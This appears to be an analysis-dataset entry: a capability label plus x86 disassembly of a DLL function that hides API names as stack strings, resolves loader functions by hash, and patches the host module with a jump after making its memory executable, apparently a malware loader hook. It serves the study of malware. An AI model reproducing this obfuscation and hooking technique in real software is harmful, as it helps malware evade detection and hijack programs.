Function at 0x100010fa
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x6b
pop eax
push 0x65
mov word [ebp - 0x94], ax
pop eax
push 0x72
mov word [ebp - 0x92], ax
pop eax
push 0x6e
mov word [ebp - 0x90], ax
pop eax
push 0x65
mov word [ebp - 0x8e], ax
pop eax
push 0x6c
mov word [ebp - 0x8c], ax
pop eax
push 0x33
mov word [ebp - 0x8a], ax
pop eax
push 0x32
mov word [ebp - 0x88], ax
pop eax
push 0x2e
mov word [ebp - 0x86], ax
pop eax
push 0x64
mov word [ebp - 0x84], ax
pop eax
push 0x6c
xor ebx, ebx
mov word [ebp - 0x82], ax
pop eax
push 0xbdbf9c13
mov word [ebp - 0x80], ax
mov word [ebp - 0x7e], ax
mov dword [ebp - 0x2c], 0x64616f4c
mov dword [ebp - 0x28], 0x7262694c
mov dword [ebp - 0x24], 0x41797261
mov byte [ebp - 0x20], bl
mov dword [ebp - 0x1c], 0x61657243
mov dword [ebp - 0x18], 0x69466574
mov dword [ebp - 0x14], 0x41656c
mov dword [ebp - 0x50], 0x4d746547
mov dword [ebp - 0x4c], 0x6c75646f
mov dword [ebp - 0x48], 0x6e614865
mov dword [ebp - 0x44], 0x41656c64
mov byte [ebp - 0x40], bl
mov dword [ebp - 0x3c], 0x74726956
mov dword [ebp - 0x38], 0x506c6175
mov dword [ebp - 0x34], 0x65746f72
mov word [ebp - 0x30], 0x7463
mov byte [ebp - 0x2e], bl
mov dword [ebp - 0x64], 0x4d746547
mov dword [ebp - 0x60], 0x6c75646f
mov dword [ebp - 0x5c], 0x6c694665
mov dword [ebp - 0x58], 0x6d614e65
mov word [ebp - 0x54], 0x4165
mov byte [ebp - 0x52], bl
mov dword [ebp - 0x7c], 0x43746553
mov dword [ebp - 0x78], 0x65727275
mov dword [ebp - 0x74], 0x6944746e
mov dword [ebp - 0x70], 0x74636572
mov dword [ebp - 0x6c], 0x4179726f
mov byte [ebp - 0x68], bl
mov dword [ebp - 0x10], 0x70616548
mov dword [ebp - 0xc], 0x6f6c6c41
mov word [ebp - 8], 0x63
call fcn.10001000
mov esi, eax
mov dword [0x10009798], esi
mov dword [esp], 0x5ed941b5
call fcn.10001000
pop ecx
mov dword [0x1000979c], eax
lea eax, [ebp - 0x94]
push 0x18
mov dword [0x100097c0], eax
pop eax
mov word [0x100097be], ax
mov word [0x100097bc], ax
lea eax, [ebp - 0x98]
push eax
push 0x100097bc
push ebx
push ebx
call esi
push 0xd
pop eax
push 0x100097a0
push ebx
mov esi, 0x100097c4
push esi
push dword [ebp - 0x98]
mov word [0x100097c4], ax
mov word [0x100097c6], ax
lea eax, [ebp - 0x2c]
mov dword [0x100097c8], eax
call dword [0x1000979c]
push 0xc
pop eax
push 0x100097a4
push ebx
push esi
push dword [ebp - 0x98]
mov word [0x100097c4], ax
mov word [0x100097c6], ax
lea eax, [ebp - 0x1c]
mov dword [0x100097c8], eax
call dword [0x1000979c]
push 0x11
pop eax
push 0x100097a8
push ebx
push esi
push dword [ebp - 0x98]
mov word [0x100097c4], ax
mov word [0x100097c6], ax
lea eax, [ebp - 0x50]
mov dword [0x100097c8], eax
call dword [0x1000979c]
push 0xf
pop eax
push 0x100097ac
push ebx
push esi
push dword [ebp - 0x98]
mov word [0x100097c4], ax
mov word [0x100097c6], ax
lea eax, [ebp - 0x3c]
mov dword [0x100097c8], eax
call dword [0x1000979c]
push 0x13
pop eax
push 0x100097b0
push ebx
push esi
push dword [ebp - 0x98]
mov word [0x100097c4], ax
mov word [0x100097c6], ax
lea eax, [ebp - 0x64]
mov dword [0x100097c8], eax
call dword [0x1000979c]
push 0x15
pop eax
push 0x100097b4
push ebx
push esi
push dword [ebp - 0x98]
mov word [0x100097c4], ax
mov word [0x100097c6], ax
lea eax, [ebp - 0x7c]
mov dword [0x100097c8], eax
call dword [0x1000979c]
push 0xa
pop eax
mov word [0x100097c4], ax
mov word [0x100097c6], ax
lea eax, [ebp - 0x10]
mov dword [0x100097c8], eax
push 0x100097b8
push ebx
push esi
push dword [ebp - 0x98]
call dword [0x1000979c]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [0x100097a8]
mov dword [ebp - 0x9c], eax
push eax
xor eax, eax
add eax, dword [ebp - 0x9c]
add eax, 0x10c4f
mov dword [ebp - 0x9c], eax
pop eax
lea eax, [ebp - 0xa0]
push eax
push 0x40
push 0x10
push dword [ebp - 0x9c]
call dword [0x100097ac]
push ebx
push esi
lea ebx, [0x1000143a]
sub ebx, dword [ebp - 0x9c]
sub ebx, 2
sub ebx, 3
mov esi, dword [ebp - 0x9c]
mov al, 0xe9
mov byte ds:[esi], al
inc esi
mov dword [esi], ebx
pop esi
pop ebx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10001571
leave
ret